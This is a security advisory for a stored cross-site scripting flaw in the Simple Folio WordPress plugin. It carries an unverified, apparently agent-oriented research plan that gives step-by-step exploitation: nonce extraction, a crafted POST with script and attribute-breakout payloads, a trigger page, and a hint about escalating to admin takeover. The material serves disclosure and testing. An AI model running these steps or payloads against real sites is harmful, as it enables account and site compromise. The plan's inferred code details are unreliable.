CVE-2025-14039

Simple Folio <= 1.1.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'Client name' and 'Link' Meta Fields

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
1.1.2
Patched in
1d
Time to patch

Description

The Simple Folio plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the '_simple_folio_item_client_name' and '_simple_folio_item_link' meta fields in all versions up to, and including, 1.1.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.1.1
PublishedJanuary 27, 2026
Last updatedJanuary 28, 2026
Affected pluginsimple-folio

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan targets **CVE-2025-14039**, a Stored Cross-Site Scripting (XSS) vulnerability in the **Simple Folio** plugin (<= 1.1.1). The vulnerability allows users with Contributor-level permissions or higher to inject malicious scripts via portfolio item meta fields. --- ### 1. Vulnerabili…

Show full research plan

This research plan targets CVE-2025-14039, a Stored Cross-Site Scripting (XSS) vulnerability in the Simple Folio plugin (<= 1.1.1). The vulnerability allows users with Contributor-level permissions or higher to inject malicious scripts via portfolio item meta fields.


1. Vulnerability Summary

The Simple Folio plugin registers a custom post type (likely folio or simple_folio) and uses meta fields to store metadata about each portfolio item, specifically the "Client name" and "Link". The plugin fails to sanitize this input when saving it to the database and fails to escape it when rendering it on the frontend (usually via a shortcode or template).

2. Attack Vector Analysis

  • Endpoint: wp-admin/post.php (for existing posts) or wp-admin/post-new.php (for new posts).
  • Vulnerable Parameters: _simple_folio_item_client_name and _simple_folio_item_link.
  • Authentication: Authenticated, Contributor-level access or higher.
  • Preconditions: The "Simple Folio" plugin must be active. The attacker must be logged in as a Contributor.

3. Code Flow (Inferred from Patch Description)

  1. Registration: The plugin registers a meta box using add_meta_box() for a specific post type (e.g., folio).
  2. Input: When a Contributor saves a portfolio item, the save_post hook is triggered.
  3. Sink (Storage): The plugin calls update_post_meta($post_id, '_simple_folio_item_client_name', $_POST['_simple_folio_item_client_name']) without using sanitize_text_field() or similar.
  4. Source (Output): On the frontend, the plugin retrieves these values using get_post_meta().
  5. Sink (Rendering): The values are printed to the page (likely in a foreach loop within a shortcode handler) using echo without esc_html() or esc_attr().

4. Nonce Acquisition Strategy

Since this vulnerability involves standard WordPress post metadata, it relies on the core WordPress post-editing nonces.

  1. Login: Authenticate as a Contributor.
  2. Create Post: Navigate to the "New Portfolio Item" page.
    • browser_navigate("/wp-admin/post-new.php?post_type=[POST_TYPE_SLUG]")
  3. Extract Nonce: Use browser_eval to extract the _wpnonce from the form.
    • browser_eval("document.querySelector('#_wpnonce').value")
  4. Identify Field Names: Use browser_eval to confirm the exact name attributes of the inputs for "Client Name" and "Link".
    • browser_eval("Array.from(document.querySelectorAll('input[name^=_simple_folio]')).map(i => i.name)")

5. Exploitation Strategy

Step 1: Discover the Custom Post Type

The first step is to find the slug for the folio post type.

  • Tool: wp_cli
  • Command: wp post-type list --fields=name,public
  • Expected: Look for names like folio, simple-folio, or portfolio.

Step 2: Inject the XSS Payload

Submit a request to create or update a portfolio item.

  • Tool: http_request
  • Method: POST
  • URL: http://[target]/wp-admin/post.php
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body Parameters:
    • action: editpost
    • post_ID: [NEWLY_CREATED_ID]
    • _wpnonce: [EXTRACTED_NONCE]
    • post_type: [POST_TYPE_SLUG]
    • post_title: XSS Test Item
    • _simple_folio_item_client_name: <script>alert('XSS_CLIENT_NAME')</script>
    • _simple_folio_item_link: "><script>alert('XSS_LINK')</script>

Step 3: Trigger the XSS

Locate where the portfolio items are displayed. This is typically via a shortcode like [simple-folio].

  • Tool: wp_cli
  • Command: wp post create --post_type=page --post_title="Portfolio Page" --post_content="[simple-folio]" --post_status=publish
  • Trigger: Navigate to the newly created page in the browser.

6. Test Data Setup

  1. User: Create a Contributor user.
    • wp user create attacker attacker@example.com --role=contributor --user_pass=password123
  2. Plugin Identification: Verify the meta field names exist in the code.
    • grep -r "_simple_folio_item_client_name" /var/www/html/wp-content/plugins/simple-folio/

7. Expected Results

  • The http_request should return a 302 redirect back to the post edit page, indicating the meta data was saved.
  • When viewing the page containing the shortcode, the browser should execute the JavaScript in the alerts.
  • In the HTML source of the frontend page, the payload should appear unescaped:
    • ...<span><script>alert('XSS_CLIENT_NAME')</script></span>...
    • <a href=""><script>alert('XSS_LINK')</script>">Link</a>

8. Verification Steps

  1. Check Database: Verify the payload is stored raw.
    • wp post meta list [POST_ID]
  2. Check Frontend Output: Search for the payload string in the HTML response.
    • http_request GET http://[target]/portfolio-page/
    • Verify the string <script>alert('XSS_CLIENT_NAME')</script> exists and is not converted to &lt;script&gt;.

9. Alternative Approaches

  • Attribute Breakout: If _simple_folio_item_link is used inside a value or href attribute of an input/anchor tag, test payloads like:
    • ' onmouseover='alert(1)
    • javascript:alert(1)
  • Shortcode Audit: If the items are not appearing, check the plugin's documentation or code for the correct shortcode name:
    • grep -r "add_shortcode" /var/www/html/wp-content/plugins/simple-folio/
  • Admin XSS: Check if the XSS also triggers in the WordPress dashboard when an administrator edits the post created by the Contributor. This would escalate the impact to a full site takeover.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.